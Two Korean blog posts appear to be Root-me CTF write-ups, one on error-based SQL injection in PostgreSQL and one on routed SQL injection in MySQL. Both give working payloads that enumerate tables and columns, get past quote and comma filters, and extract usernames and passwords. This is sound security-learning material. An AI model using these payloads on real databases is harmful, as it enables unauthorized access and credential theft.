password를 찾는 문제이다.

 

 

Contents에 order부분에 injection을 하면 될 것 같다. 

 


1. DB 종류 파악

 

 

 

 

 

문제를 보고 Error based sql injection로 생각하고 LOS때 사용했던 쿼리문을 한번 넣어보았다.

 

Query : ASC, (select count(*), floor(rand(0)*2)x from (select 1 union select 2 )t group by x) 

   //다음 쿼리 부터 ASC 생략하고 작성

 

 

 

쿼리를 작성하였더니 rand 함수를 찾을 수 없다는 ERROR메세지를 얻게 되었다. mysql이 아닌거라 생각하고 어떤 DB를 쓰는지 확인해보니 PostgreSQL 을 사용함을 알 수 있었다. ( sql injection db 종류 확인

 

 

 

Query : (select datname from pg_database)

//다른 쿼리도 사용 가능

 

 

 

 

+ERROR메세지를 통해서도 DB를 추측할 수 있는 것 같다.

// 출처 : https://cons.tistory.com/55

Query : '

 

 

 


2. Injection 시도

 

 

 

 

 

 

위의 쿼리들로 DB종류를 알아내서 Error based sql injection 공격을 시도 해보았다.

 

 

 

1. 테이블 이름을 얻는 쿼리

Query : 1=cast((select table_name from information_schema.tables  limit 1 offset 0) as int)--

 

 

 

위의 쿼리로 table이름을 얻을 수 있었다.

 

 

 

2. column 명을 얻는 쿼리

Query : 1=cast((select column_name from information_schema.columns where table_name= CHR(109) || CHR(51) || CHR(109) || CHR(98) || CHR(114) || CHR(51) || CHR(53) || CHR(116) || CHR(52) || CHR(98) || CHR(108) || CHR(51)  limit 1 offset 0) as int)--

 

 

 

offset 값을 늘려가면서 필요한 column 값을 얻을 수 있었다.

us3rn4m3_c0l,  p455w0rd_c0l,  em41l_c0l

 

 

 

3.컬럼명을 통해 필요한 데이터 얻기

Query : 1=cast((select us3rn4m3_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

Query : 1=cast((select p455w0rd_c0l from m3mbr35t4bl3 limit 1 offset 0) as int)--

 

 

 

위의 데이터를 통해 답을 얻을 수 있었다

참고 : https://forum.sqliwiki.com/showthread.php?tid=30

 

 

 


문제를 풀고나서 Root-me에 올라온 solution들을 봤는데

컬럼명을 구하는 작업에서 '가 필터링 되어 있어서 column명을 얻는 쿼리에서 하나하나 CHR()을 반복하는 작업을 했는데 PostgreSQL에서는 $$로 우회할 수 있는 것 같다.

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] - Local File Inclusion - Wrappers  (0) 2019.11.30
[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL Injection - Routed  (0) 2019.10.01
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - String  (0) 2019.09.27

 

 

password를 찾는 문제이다.

 

 

 

 

 

늘 그렇듯 Search에 기본적인 injection 공격을 해보았다.

 

 

Query : 'union select 1-- 

 

 

 

query의 결과 값으로 ID 숫자와 Email을 얻을 수 있었고

3에서 admin계정을 찾을 수 있었고 이보다 큰 숫자에선 값이 나오지 않았다.

 

 

 

이후에 숫자부분에 이것저것 넣어봤는데 잘 안돼서 문제인 Routed SQL injection에 대해서 검색해보게 되었고

 

 

Routed SQL injection은 injection한 첫번째 쿼리의 결과 값이 두번째 쿼리의 input으로 그대로 전달되어 두번째 쿼리에서도 injection 공격이 발생하는 것이다.           ( Indirect SQL injection과 비슷하지만 조금 다른 것 같다.

 

 

이 문제에 적용 시켜보면 이때 까지 ~~~'union select 3의 결과인 3이

두번째 쿼리의 입력값이 되며, 이 3에 해당하는 ID와 Email이 출력되었다고 생각할 수 있다.

 

 

그래서 이 3 부분을 조작하면 두번째 쿼리에서도 injection 공격을 할 수 있다.

 

 

그래서 'union select 'union select~~~ 이런 식으로 값을 넣어서 공격할 수 있고, 두번째 쿼리의 컬럼 수는 order by나 그냥 1, 2 이런식으로 해보니 2개 컬럼을 가지더라 ( ,가 필터링 되어서 hex값을 이용하였다.

 

 

이를 이용해서 우선 table부터 구하면

 

Query : 'union select 'union select 1, table_name from information_schema.tables where table_type='base table'# #    (두번째 '부터 hex값

 

 

 

users라는 테이블이 존재함을 알 수 있고 이 테이블 명을 통해서 column명을 구해보면

 

 

Query: 'union select 'union select 1, column_name from information_schema.columns where table_name='users'# #

 

 

 

id라는 하나의 컬럼명 밖에 안나오게 된다.

그래서 한꺼번에 출력하게 하도록 하는 것을 찾아보니 group_concat()이라는 것을 찾을 수 있었다.

group_cocat은 서로 다른결과들을 한줄에 걸쳐서 출력해준다.

 

 

Query: 'union select 'union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# #

 

 

 

id, login, password, email이란 컬럼명을 얻을 수 있었고

이를 통해 우리가 원하는 password 값을 추출 하기 위해서 쿼리를 보내면

 

 

Query : 'union select 'union select 1, password from users where id=3# #

 

 

 

우리가 원하는 flag를 얻을 수 있게 된다.

 

 

 

-----------------------------------------------------------------------------------------------------------------------------------

 

처음에 첫번째 결과의 쿼리값이 두번째로 전달 된다는 것을 잘못 인식해서 ID가 첫번째 쿼리의 결과이고

ID값이 두번째 쿼리의 input으로 들어간다 생각해서 오해가 있어 문제를 이해하는데 오래 걸렸다.

 

LOS에서는 거의 항상 information이라는 단어가 필터링 되어있어서 이번 문제와 같이 내재된 테이블(?)을 이용해서 푸는 문제는 처음이었던 것 같은데 익혀놔야겠다.

 

'Web hacking > Root me' 카테고리의 다른 글

[Root-me] PHP - Serialization  (0) 2019.11.16
[Root-me] SQL injection - Error  (0) 2019.10.07
[Root-me] SQL injection - Numeric  (0) 2019.09.27
[Root-me] SQL injection - String  (0) 2019.09.27
[Root-me] SQL injection - Authentication  (0) 2019.09.11

+ Recent posts